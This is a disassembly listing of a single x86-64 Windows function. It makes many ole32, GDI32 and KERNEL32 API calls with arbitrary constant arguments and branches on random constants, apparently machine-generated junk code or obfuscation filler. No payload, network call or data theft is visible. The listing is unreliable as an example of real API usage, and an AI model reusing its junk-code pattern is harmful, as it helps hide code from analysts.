lea r9, [rsp + 0xad80]
lea r8, [rsp + 0x34b0]
lea rdx, [rsp + 0x26db8]
lea rcx, [rsp + 0xa4c8]
call qword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [rsp + 0x36e8], eax
mov rax, qword [rsp + 0xae80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x35c0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae10]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rsp + 0xa4c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xae68], rax
jmp 0x1401d7f9b
call qword [sym.imp.ole32.dll_CoUninitialize]
mov r8, qword [rsp + 0xacd8]
movzx edx, word [rsp + 0xeac]
mov rax, qword [rsp + 0xae60]
movzx ecx, word [rax]
call fcn.1401d9170
nop
jmp 0x1401d8112
mov rax, qword [rsp + 0xadd0]
mov rcx, qword [rsp + 0xade8]
mov qword [rsp + 0x26d78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x26d78]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xaec0], rax
mov rax, qword [rsp + 0xaed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa4c8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xac80]
mov rdx, qword [rsp + 0xae68]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x1401d80c3
mov eax, dword [rsp + 0x364c]
mov dword [rsp + 0xa45c], eax
cmp dword [rsp + 0xa45c], 0x73c17c6
je 0x1401d80ab
cmp dword [rsp + 0xa45c], 0x7fd94f6a
je 0x1401d803a
jmp 0x1401d80c1
mov rax, qword [rsp + 0xae68]
mov rcx, qword [rsp + 0xa4c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
lea rcx, [rsp + 0xafe8]
call qword [sym.imp.ole32.dll_CoGetCurrentLogicalThreadId]
mov dword [rsp + 0x360c], eax
mov eax, dword [rsp + 0x3600]
mov ecx, dword [rsp + 0x3534]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34c4], eax
mov rax, qword [rsp + 0xae40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb060]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
jmp 0x1401d80c1
mov rdx, qword [rsp + 0xaf70]
mov rcx, qword [rsp + 0xac80]
call fcn.1401d9ff0
nop
jmp 0x1401d80f2
mov rax, qword [rsp + 0xaf40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xadd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaec0]
mov rdx, qword [rsp + 0xace0]
add rdx, rcx
mov rcx, rdx
mov rax, qword [rsp + 0xae08]
mov rcx, qword [rsp + 0xae58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xafb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaeb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaf68]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
mov dword [rsp + 0x28], 0xca
lea rax, [rsp + 0xafe8]
mov qword [rsp + 0x20], rax
mov r9d, 0xb4
lea r8, [rsp + 0xaed0]
lea rdx, [rsp + 0x26db8]
lea rcx, [rsp + 0xafe8]
call qword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
mov dword [rsp + 0x35f0], eax
jmp 0x1401d81c3
lea r9, [rsp + 0x26e88]
lea r8, [rsp + 0x26dc8]
lea rdx, [rsp + 0xaeb0]
lea rcx, [rsp + 0xaff8]
call qword [sym.imp.ole32.dll_CoGetObject]
mov dword [rsp + 0x36bc], eax
mov rax, qword [rsp + 0xae60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae40]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xea8], ax
lea rcx, [rsp + 0x26e78]
call qword [sym.imp.ole32.dll_CoIsOle1Class]
mov dword [rsp + 0x3448], eax
mov rax, qword [rsp + 0xaed0]
mov rcx, qword [rsp + 0xa4c8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xaed0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaf90]
movzx eax, byte [rax]
mov byte [rsp + 0xa460], al
cmp byte [rsp + 0xa460], 0x3f
je 0x1401d8224
cmp byte [rsp + 0xa460], 0x5e
je 0x1401d8291
jmp 0x1401d82b0
movzx eax, word [rsp + 0xeb8]
mov rcx, qword [rsp + 0xae40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea8], ax
lea rax, [rsp + 0xad80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x348c]
mov r8d, 0xc7
mov edx, 0x13
mov ecx, 0xda
call qword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
mov dword [rsp + 0x3608], eax
movzx eax, byte [rsp + 0x150]
mov rcx, qword [rsp + 0xaf90]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x157], al
jmp 0x1401d82b0
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x155]
add eax, ecx
mov rcx, qword [rsp + 0xaf00]
mov byte [rcx], al
jmp 0x1401d8408
mov rax, qword [rsp + 0xaf00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
and eax, ecx
movsx ecx, byte [rsp + 0x155]
movsx edx, byte [rsp + 0x151]
add ecx, edx
cmp eax, ecx
jg 0x1401d8300
mov rax, qword [rsp + 0xaf00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x158]
sar eax, cl
mov byte [0x1402112c0], al
jmp 0x1401d8328
mov eax, dword [rsp + 0x364c]
mov ecx, dword [rsp + 0x350c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad98]
mov rdx, qword [rsp + 0xb028]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
mov rax, qword [rsp + 0xae68]
mov qword [rsp + 0x26d80], rax
movabs rax, 0x8d974ae0addc6952
cmp qword [rsp + 0x26d80], rax
je 0x1401d83f3
movabs rax, 0xf2f183b465d34159
cmp qword [rsp + 0x26d80], rax
je 0x1401d8369
jmp 0x1401d8408
movzx eax, byte [rsp + 0x153]
mov rcx, qword [rsp + 0xadb8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x150], al
lea rax, [rsp + 0x3534]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xeb8]
mov r8d, 0x17
mov edx, 0x69
mov ecx, 0x61
call qword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
mov dword [rsp + 0x36b4], eax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xeb8]
xor eax, ecx
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
mov rax, qword [rsp + 0xb028]
mov rcx, qword [rsp + 0xae10]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3698], eax
jmp 0x1401d8408
lea rcx, [rsp + 0xafe8]
call qword [sym.imp.ole32.dll_CoGetCallerTID]
mov dword [rsp + 0x3608], eax
call fcn.1401d96b0
nop
jmp 0x1401d8454
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaf00]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
lea r8, [rsp + 0xeb8]
mov edx, 0xe4
lea rcx, [rsp + 0x26de8]
call qword [sym.imp.ole32.dll_OleRegGetUserType]
mov dword [rsp + 0x360c], eax
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb8]
add eax, ecx
mov rcx, qword [rsp + 0xad60]
movzx ecx, word [rcx]
mov dword [rsp + 0xa464], ecx
movzx edx, word [rsp + 0xeac]
movzx ecx, dl
mov edx, dword [rsp + 0xa464]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x1401d852a
mov eax, dword [rsp + 0x3698]
mov dword [rsp + 0xa468], eax
cmp dword [rsp + 0xa468], 0x1dd21c69
je 0x1401d84c3
cmp dword [rsp + 0xa468], 0x3479a01a
je 0x1401d850d
jmp 0x1401d852a
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x155]
sar eax, cl
mov rcx, qword [rsp + 0xae98]
mov byte [rcx], al
mov r9, qword [rsp + 0xa4c8]
mov r8, qword [rsp + 0xac80]
mov rdx, qword [rsp + 0xac80]
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rax]
call fcn.1401d9380
nop
jmp 0x1401d852a
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xebc]
or eax, ecx
mov word [rsp + 0xeac], ax
mov eax, dword [0x140210004]
mov ecx, dword [rsp + 0x343c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3450], eax
lea rdx, [rsp + 0x26e48]
lea rcx, str.precipices
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [rsp + 0x3608], eax
mov rax, qword [rsp + 0xaec0]
mov qword [rsp + 0x26d88], rax
movabs rax, 0x1012c908a59df1e8
cmp qword [rsp + 0x26d88], rax
je 0x1401d8586
jmp 0x1401d85a8
lea r8, [rsp + 0xeb8]
mov edx, 0x3d
lea rcx, [rsp + 0x26df8]
call qword [sym.imp.ole32.dll_OleRegGetMiscStatus]
mov dword [rsp + 0x360c], eax
mov rax, qword [rsp + 0xaf40]
mov rcx, qword [rsp + 0xadd0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaf70], rax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaf88]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
mov eax, dword [rsp + 0x35c0]
mov ecx, dword [rsp + 0x3534]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x364c], eax
jmp 0x1401d86a1
mov eax, dword [0x140210004]
mov dword [rsp + 0xa46c], eax
cmp dword [rsp + 0xa46c], 0xe2ff65a2
je 0x1401d8622
jmp 0x1401d863a
xor edx, edx
lea rcx, [rsp + 0x34cc]
call qword [sym.imp.ole32.dll_OleGetIconOfFile]
mov qword [rsp + 0xb268], rax
lea r9, [rsp + 0xade8]
lea r8, [rsp + 0x26dc8]
lea rdx, str.fixation
lea rcx, [rsp + 0xae80]
call qword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [rsp + 0x360c], eax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
add eax, ecx
mov rcx, qword [rsp + 0xadb8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x155]
mov rcx, qword [rsp + 0xae90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x143], al
lea rcx, [rsp + 0x153]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, qword [rsp + 0xade8]
mov r8, qword [rax]
mov rax, qword [rsp + 0xad60]
movzx edx, word [rax]
movzx ecx, word [rsp + 0xea8]
call fcn.1401d9170
movzx eax, word [rsp + 0xeac]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0xae80]
mov eax, dword [rax]
mov dword [rsp + 0xa470], eax
cmp dword [rsp + 0xa470], 0x6cbe59bd
je 0x1401d870f
jmp 0x1401d8711
jmp 0x1401d8717
call fcn.1401d96b0
nop
mov rax, qword [rsp + 0xaf90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0xae98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x143]
sub eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
movsx eax, word [rsp + 0xa6c]
mov dword [rsp + 0xa474], eax
cmp dword [rsp + 0xa474], 0x5585
je 0x1401d8775
jmp 0x1401d8796
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rsp + 0xaed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa4c8], rax
mov rax, qword [rsp + 0xae90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x156], al
mov eax, dword [rsp + 0x35c0]
mov ecx, dword [rsp + 0x34c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
lea r8, [rsp + 0x3448]
lea rdx, [rsp + 0x26e18]
lea rcx, [rsp + 0xafe8]
call qword [sym.imp.ole32.dll_CoUnmarshalInterface]
mov dword [rsp + 0x3608], eax
call fcn.1401d96b0
nop
jmp 0x1401d88ba
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
mov dword [rsp + 0xa478], eax
cmp dword [rsp + 0xa478], 0x23a
je 0x1401d8822
jmp 0x1401d8846
mov rax, qword [rsp + 0xade8]
mov r8, qword [rax]
movzx edx, word [rsp + 0xea8]
mov rax, qword [rsp + 0xae40]
movzx ecx, word [rax]
call fcn.1401d9170
nop
mov rax, qword [rsp + 0xae60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
xor eax, ecx
mov word [rsp + 0xeb8], ax
mov rcx, qword [rsp + 0xafe8]
call qword [sym.imp.ole32.dll_CoRevokeInitializeSpy]
mov dword [rsp + 0x35f0], eax
mov rax, qword [rsp + 0xafa8]
mov rcx, qword [rsp + 0xaf40]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xaeb8], rax
mov rax, qword [rsp + 0xaed0]
mov rcx, qword [rsp + 0xac80]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xaf50]
mov qword [rcx], rax
call qword [sym.imp.ole32.dll_CoGetCurrentProcess]
mov dword [rsp + 0x3444], eax
mov rax, qword [rsp + 0xafa8]
mov rcx, qword [rsp + 0xaf40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xade8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xacd8]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jle 0x1401d8986
movzx eax, word [rsp + 0xebc]
mov rcx, qword [rsp + 0xad60]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0xae80]
mov eax, dword [rax]
mov dword [rsp + 0xa47c], eax
cmp dword [rsp + 0xa47c], 0x78c4d1c3
je 0x1401d893f
jmp 0x1401d8966
movzx r8d, byte [rsp + 0x155]
mov rax, qword [rsp + 0xad58]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xae90]
movzx ecx, byte [rax]
call fcn.1401d98a0
nop
jmp 0x1401d8986
movsx eax, word [rsp + 0xa6c]
mov rcx, qword [rsp + 0xaf88]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xaf68]
mov word [rcx], ax
mov r8d, 0x6c
lea rdx, [rsp + 0x143]
lea rcx, [rsp + 0x26dd8]
call qword [sym.imp.ole32.dll_StringFromGUID2]
mov dword [rsp + 0x3534], eax
mov rax, qword [rsp + 0xae98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x143], al
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
sub eax, ecx
mov rcx, qword [rsp + 0xae48]
mov byte [rcx], al
mov rax, qword [rsp + 0xaf00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xae90]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0xae98]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jl 0x1401d8b1e
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
mov dword [rsp + 0xa480], eax
cmp dword [rsp + 0xa480], 0xaa2
je 0x1401d8b03
cmp dword [rsp + 0xa480], 0xd87
je 0x1401d8a54
jmp 0x1401d8b1c
mov rax, qword [rsp + 0xae78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3444], eax
mov rax, qword [rsp + 0xaed0]
mov rcx, qword [rsp + 0xac80]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xaed0]
mov qword [rcx], rax
lea rax, [rsp + 0x153]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x3440]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2d
lea r9, [rsp + 0xad80]
mov r8d, 0xc9
mov edx, 0x77
mov rcx, qword [rsp + 0xae38]
call qword [sym.imp.GDI32.dll_GetGlyphOutlineA]
mov dword [rsp + 0x3444], eax
mov r9, qword [rsp + 0xae68]
mov r8, qword [rsp + 0xae68]
mov rdx, qword [rsp + 0xa4c8]
mov rcx, qword [rsp + 0xae68]
call fcn.1401d9380
nop
jmp 0x1401d8b1c
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x35c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34b8], eax
jmp 0x1401d8b6f
mov rax, qword [rsp + 0xaed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa4c8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xac80]
mov rdx, qword [rsp + 0xae68]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1401d8b6f
lea rdx, [rsp + 0xaf58]
mov rcx, qword [rsp + 0xad18]
call qword [sym.imp.GDI32.dll_GetFontUnicodeRanges]
mov dword [rsp + 0x3450], eax
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
mov rax, qword [rsp + 0xad98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xae10]
mov qword [rsp + 0x26d90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x26d90]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x350c], eax
mov dword [rsp + 0x58], 0x57
mov dword [rsp + 0x50], 0x75
mov dword [rsp + 0x48], 0xc0
mov rax, qword [rsp + 0xaff8]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xdf
mov dword [rsp + 0x30], 0x6a
mov rax, qword [rsp + 0xaf38]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xb
mov r9d, 0xfe
mov r8d, 0x12
mov edx, 0x9b
mov rcx, qword [rsp + 0xad18]
call qword [sym.imp.GDI32.dll_MaskBlt]
mov dword [rsp + 0x348c], eax
movabs rax, 0x699796cc054a6d38
mov rcx, qword [rsp + 0xa4c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
jmp 0x1401d8d12
mov rax, qword [rsp + 0xae08]
mov ecx, dword [rsp + 0x3450]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xae08]
mov dword [rcx], eax
mov rax, qword [rsp + 0xade8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xace0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xadd0], rax
mov rax, qword [rsp + 0xae08]
mov eax, dword [rax]
mov dword [rsp + 0xa484], eax
cmp dword [rsp + 0xa484], 0x64b9b4f3
je 0x1401d8cf3
cmp dword [rsp + 0xa484], 0x9be82006
je 0x1401d8cbe
jmp 0x1401d8d12
mov edx, 0x5f
mov rcx, qword [rsp + 0xad28]
call qword [sym.imp.GDI32.dll_SetBkMode]
mov dword [rsp + 0x3534], eax
mov rax, qword [rsp + 0xade8]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0xa4c8]
call fcn.1401d9ff0
nop
jmp 0x1401d8d12
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xadb8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x150], al
mov rcx, qword [rsp + 0xb118]
call qword [sym.imp.GDI32.dll_GetObjectType]
mov dword [rsp + 0x3450], eax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x34b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov rdx, qword [rsp + 0xaf08]
mov rcx, qword [rsp + 0xad40]
call qword [sym.imp.GDI32.dll_PlayMetaFile]
mov dword [rsp + 0x344c], eax
mov eax, dword [rsp + 0x34cc]
mov ecx, dword [rsp + 0x3444]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3450], eax
jmp 0x1401d8ea5
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x34c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad98]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x34b8]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x1401d8ea5
mov eax, dword [rsp + 0x3450]
mov dword [rsp + 0xa488], eax
cmp dword [rsp + 0xa488], 0x5db740e6
je 0x1401d8dde
cmp dword [rsp + 0xa488], 0x9b536079
je 0x1401d8e86
jmp 0x1401d8ea5
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
lea rax, [rsp + 0xace0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x3444]
lea r8, [fcn.1401d9380]
mov rdx, qword [rsp + 0x26d98]
mov rcx, qword [rsp + 0xad40]
call qword [sym.imp.GDI32.dll_EnumEnhMetaFile]
mov dword [rsp + 0x3448], eax
mov rax, qword [rsp + 0xad98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34c4], eax
movzx eax, word [rsp + 0xeac]
movzx ecx, word [rsp + 0xea8]
and eax, ecx
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
mov rcx, qword [rsp + 0xad28]
call qword [sym.imp.GDI32.dll_StrokeAndFillPath]
mov dword [rsp + 0x3448], eax
jmp 0x1401d8ea5
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x151], al
mov r8, qword [rsp + 0xace0]
movzx edx, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xea8]
call fcn.1401d9170
movabs rax, 0x5e100528b7e18729
mov rcx, qword [rsp + 0xac80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
jmp 0x1401d8f88
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
mov dword [rsp + 0xa48c], eax
cmp dword [rsp + 0xa48c], 0x481
je 0x1401d8f68
cmp dword [rsp + 0xa48c], 0xd65
je 0x1401d8f15
jmp 0x1401d8f88
movsx eax, word [rsp + 0xa6c]
mov rcx, qword [rsp + 0xad70]
movsx ecx, word [rcx]
or eax, ecx
mov word [section..data], ax
movzx eax, byte [rsp + 0x150]
movzx ecx, byte [rsp + 0x152]
and eax, ecx
mov rcx, qword [rsp + 0xad50]
mov byte [rcx], al
mov eax, dword [rsp + 0x34cc]
mov ecx, dword [rsp + 0x343c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3444], eax
jmp 0x1401d8f88
mov r8d, 0x6b
mov edx, 0xe8
mov rcx, qword [rsp + 0xad18]
call qword [sym.imp.GDI32.dll_OffsetClipRgn]
mov dword [rsp + 0x350c], eax
mov rax, qword [rsp + 0xac80]
shl rax, 0x9b
cmp rax, qword [rsp + 0xa4c8]
jae 0x1401d8fba
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [section..data]
sar eax, cl
mov word [rsp + 0xeb0], ax
movzx eax, word [rsp + 0xea8]
mov dword [rsp + 0xa490], eax
cmp dword [rsp + 0xa490], 0x31c
je 0x1401d8fd8
jmp 0x1401d8ffd
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xeb0]
xor eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
call fcn.1401d96b0
nop
jmp 0x1401d9020
mov r8d, 0xc7
lea rdx, [rsp + 0xad10]
mov rcx, qword [rsp + 0xadc8]
call qword [sym.imp.GDI32.dll_GetBoundsRect]
mov dword [rsp + 0x3444], eax
movzx eax, word [rsp + 0xea8]
mov dword [rsp + 0xa494], eax
cmp dword [rsp + 0xa494], 0x2c2
je 0x1401d904b
cmp dword [rsp + 0xa494], 0x2f0
je 0x1401d9053
jmp 0x1401d90c4
call fcn.1401d9230
nop
jmp 0x1401d90c4
mov rax, qword [rsp + 0xaf58]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xafe0]
mov qword [rsp + 0x20], rax
mov r9d, 0x98
mov r8, qword [rsp + 0xb0d0]
mov rdx, qword [rsp + 0xb0b0]
mov rcx, qword [rsp + 0xafe0]
call qword [sym.imp.KERNEL32.dll_SearchPathA]
mov dword [rsp + 0x3450], eax
mov eax, dword [rsp + 0x343c]
mov ecx, dword [rsp + 0x3444]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3450], eax
movsx eax, word [section..data]
sub eax, 0x2e1b
mov word [section..data], ax
jmp 0x1401d912b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x343c], eax
mov dword [rsp + 0x343c], 0xc73ca35
mov rax, qword [rsp + 0xac80]
mov qword [rsp + 0x26da0], rax
movabs rax, 0x6df2fef4b369a2b7
cmp qword [rsp + 0x26da0], rax
je 0x1401d9120
movabs rax, 0xe9957a871ecbeb40
cmp qword [rsp + 0x26da0], rax
je 0x1401d9118
jmp 0x1401d912b
call fcn.1401d96b0
nop
jmp 0x1401d912b
mov dword [rsp + 0x343c], 0x49489ab4
mov r9, qword [rsp + 0xac80]
mov r8, qword [rsp + 0xac80]
mov rdx, qword [rsp + 0xac80]
mov rcx, qword [rsp + 0xac80]
call fcn.1401d9380
mov eax, dword [rsp + 0x76d4]
add rsp, 0x2d538
ret